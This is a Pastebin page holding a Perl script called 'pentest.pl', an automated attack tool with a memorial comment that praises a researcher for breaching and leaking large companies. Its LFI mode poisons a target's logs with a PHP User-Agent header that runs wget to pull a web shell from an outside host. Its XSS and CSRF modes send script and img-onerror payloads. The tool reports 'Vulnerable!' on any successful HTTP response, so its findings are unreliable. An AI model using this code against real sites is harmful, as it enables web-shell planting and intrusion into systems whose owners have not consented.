alexsnez

pentest.pl

Nov 1st, 2017
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 7.03 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. use strict;
  3. use warnings;
  4. use LWP::UserAgent;
  5. use HTTP::Request;
  6. use Term::ANSIColor;
  7. use LWP::Protocol::https;
  8.  
  9. #Automated Pentesting Tool.
  10. #please Dont Take My Code without Giving me some kind of Credit. Thank You !. Love you guys !
  11. #Twitter: @SonnySpooks
  12. #Skype: S.0.n.n.y_
  13. # we loved you Sonny, we wished you didn't have to do what you did
  14. # you was such a good researcher, you had such good intentions.
  15. # you was flawless & intelligent. you was really smart.
  16. # you've breached/leaked plently of large companies.
  17. # you managed to do alot in the years you was here.
  18. # I'm sorry that i now have to say RIP before you name
  19. # rest in peace my dude. I'm still wishing i could have
  20. # just one more conversation with you man. Goodbye man. -Chris Poole \ @codingplanets
  21. # We in the scene love you man. -Everyone
  22. print ("bold red");
  23. print <<EOTEXT;
  24.                                         ,   ,  
  25.                                         S,  S,     ,            
  26.                                         "ss.Sss. .s'    
  27.                                 ,     .ssSSSSSSSSSSs,              
  28.                                 S. sSSSSSSSSSSSSSS`SSSs      
  29.                                 "SSSSSSSSSSSSSSSSSSoSSS       ,      
  30.                                sSSSSSSSSSSSSSSSSSSSSSSSSs,  ,s  
  31.                               sSSSSSSSSS"SSSSSS""""SSSSSS"SSSSS,    
  32.                               sSSSSSSSSSSs""SSSSssssss"SSSSSSSS"  
  33.                              sSSSSSSSSSS'         `"""ss"S"Ss""      
  34.                              sSSSSSSSSSS,              `"""""S  .sSSs
  35.                              sSSSSSSSSSSSSs,...               `sSS'  `
  36.                          `ssssSSSSSSSSSSSSSSSSSSSS####s.     .SS"S.   , s-
  37.                            `""""SSSSSSSSSSSSSSSSSSSS#####SSSSSS"     S.S'
  38.                                  "SSSSSSSSSSSSSSSSSSSSS####s""     .SSS|
  39.                                   "SSSSSSSSSSSSSSSSSSSSSSSS##s    .SS" S
  40.                                    SS""SSSSSSSSSSSSSSSSSSSSSSSSSSSSS"   `
  41.                                   SS"  "S"SSSSSSSSSSSSSSSSSSSSS""""'
  42.                              ,   ,"     '  SSSSSSSSSSSSSSSS####s  
  43.                              S.          .sSSSSSSSSSSSSSSSSS####"
  44.                  ,           "Ss.   ..ssSSSSSSSSSSSSSSSSSSSS####"
  45.                  S           .SSSSSSSSSSSSSSSSSSSSSSSSSSSS#####"
  46.                  Ss     ..sSSSSSSSSSSSSSSSSSSSSSSSSSSSS######""
  47.                   "SSsSSSSSSSSSSSSSSSSSSSSSSSSSSSS########"
  48.            ,      sSSSSSSSSSSSSSSSSSSSSSSSS#########""'
  49.            S    sSSSSSSSSSSSSSSSSSSSSS#######""'      s'         ,
  50.            SS..SSSSSSSSSSSSSSSSSS######"'       ....,SS....    ,S
  51.             "SSSSSSSSSSSSSSS######"' ,     .sSSSSSSSSSSSSSSSSSsSS
  52.               SSSSSSSSSSSS#####"     S, .sSSSSSSSSSSSSSSSSSSSSSSSSs.
  53.    )          SSSSSSSSSSS#####'      `SSSSSSSSS###########SSSSSSSSSSS.
  54.   ((          SSSSSSSSSSS#####       SSSSSSSS###"       "####SSSSSSSSSS
  55.   ) \         SSSSSSSSSSSS####.     SSSSSS###"             "###SSSSSSSSS   s'
  56.  (   )        SSSSSSSSSSSSS####.   SSSSS###"                ####SSSSSSSSsSS'
  57.  )  ( (       SS"SSSSSSSSSSS#####.SSSSS###'  MPST V 1.0    .###SSSSSSSSSS"
  58.  (  )  )   _,S"   SSSSSSSSSSSS######.SS##'                .###SSSSSSSSSS
  59.  ) (  ( \.         "SSSSSSSSSSSSS#######,,,.          ..####SSSSSSSSSSS"
  60. (   )S )  )        ,SSSSSSSSSSSSSSSSSS####################SSSSSSSSSSS"        
  61. (   (SS  ( \     _sS"  `"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS,      
  62.  )  )SSSs ) )  .      .   `SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"'  `SS  
  63.   (   SSSSs/  .S,    .S,,sSSSSSS##SSSSSSSSSSSSSSSSSSSSSSSSSS""        '
  64.     \)_SSSSSSSSSSSSSSSSSSSSSSS##"  SS        `SS.        `SS.
  65.         `"SSSSSSSSSSSSSSSSSS#"      S          `S          `S
  66.             `"""""""""""""'         '           '           '
  67.  
  68. EOTEXT
  69. print color "reset";
  70. print color "green";
  71. my ($links, $message,$Con);
  72. my $resume = 1;
  73. while($resume == 1){
  74. print color "reset";
  75. print color "yellow";
  76. print "Command: ";
  77. chomp($Con = <STDIN>);
  78. if($Con eq "LFI"){
  79. print color "reset";
  80. my ($url, $links, $FileType);
  81. print color "yellow";
  82. print "----------------------\n";
  83. print "LFI Vulnerable Area: ";
  84. chomp($url = <STDIN>);
  85. print "Link To Shell : ";
  86. chomp($links = <STDIN>);
  87. print "Name Of Shell (Example: shell.php): ";
  88. chomp($FileType = <STDIN>);
  89. print "{Vuln:$url Shell:$links}\n";
  90. print color "reset";
  91. my $ua = LWP::UserAgent->new;
  92.  $ua->agent("<?system('wget $links -O $FileType');?>");
  93. my $req = HTTP::Request->new(POST => "$url");
  94.   $req->content_type('application/x-www-form-urlencoded');
  95.   $req->content('query=libwww-perl&mode=dist');
  96. my $res = $ua->request($req);
  97.   if ($res->is_success) {
  98.       print color "green";
  99.       print "Vulnerable !\n";
  100.       print color "reset";
  101.       sleep 2;
  102.   }
  103.   else {
  104.   print color "reset";
  105.   print color "red";
  106.       print "Failed\n";
  107.       print "Check The Links\n";
  108.       print color "reset";
  109.   }
  110. }
  111. if($Con eq "clear"){
  112. if($^O =~ /Win/){
  113.  
  114.    system("cls");
  115.  
  116. }else{
  117.  
  118.    system("clear");
  119. }
  120. }
  121. if($Con eq "help"){
  122. print "LFI - Local File Inclusion\n";
  123. print "CSRF - Cross-Site Request Forgery\n";
  124. print "XSS - Cross-Site Scripting\n";
  125. print "clear - Clears Terminal\n";
  126. }
  127. if($Con eq "XSS"){
  128. my ($XSSLink, $XSSMessage);
  129. print color "reset";
  130. print color "yellow";
  131. print "----------------------\n";
  132. print "XSS Area ~: ";
  133. chomp($XSSLink = <STDIN>);
  134. print "Alert Message ~: ";
  135. chomp($XSSMessage = <STDIN>);
  136. print "Sending ~~~~~~\n";
  137. my $XSS = ("<script>alert(/$XSSMessage/)</script>");
  138. my $ua = LWP::UserAgent->new;
  139. $ua->agent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1");
  140. my $req = HTTP::Request->new(GET => "$XSSLink$XSS");
  141.   $req->content_type('application/x-www-form-urlencoded');
  142.   $req->content('query=libwww-perl&mode=dist');
  143. my $res = $ua->request($req);
  144. if ($res->is_success) {
  145.                 print color "green";
  146.       print "Vulnerable ! \n";
  147.       print color "reset";
  148.       sleep 2;
  149.   }
  150.   else {
  151.      print "Error: " . $res->status_line . "\n";
  152.        print color "reset";
  153.   print color "red";
  154.       print "Failed\n";
  155.       print "Check The Links\n";
  156.       print color "reset";
  157.   }
  158.   }
  159. if($Con eq "CSRF"){
  160. print color "reset";
  161. print color "yellow";
  162. print "----------------------\n";
  163. print "Vulnerable Area ~: ";
  164. chomp($links = <STDIN>);
  165. print "Alert Message ~: ";
  166. chomp($message = <STDIN>);
  167. print "Starting The Request...\n";
  168. my $CS = '<img src="http://xxx.xxx.xxx.xxx.frenchskids.edu" onerror=window.open("http://www.twitter.com/SonnySpooks","SONNYSPOOKS","height=1337,width=1337");>';
  169. my $ua = LWP::UserAgent->new;
  170. $ua->agent("$CS");
  171. my $req = HTTP::Request->new(POST => "$links");
  172.   $req->content_type('application/x-www-form-urlencoded');
  173.   $req->content('query=libwww-perl&mode=dist');
  174. my $res = $ua->request($req);
  175.   if ($res->is_success) {
  176.            print color "green";
  177.       print "Vulnerable ! \n";
  178.       print color "reset";
  179.       sleep 2;
  180.   }
  181.   else {
  182.   print color "reset";
  183.   print color "red";
  184.       print "Failed\n";
  185.       print "Check The Links\n";
  186.       print color "reset";
  187.   }
  188.   }
  189. }
Add Comment
Please, Sign In to add comment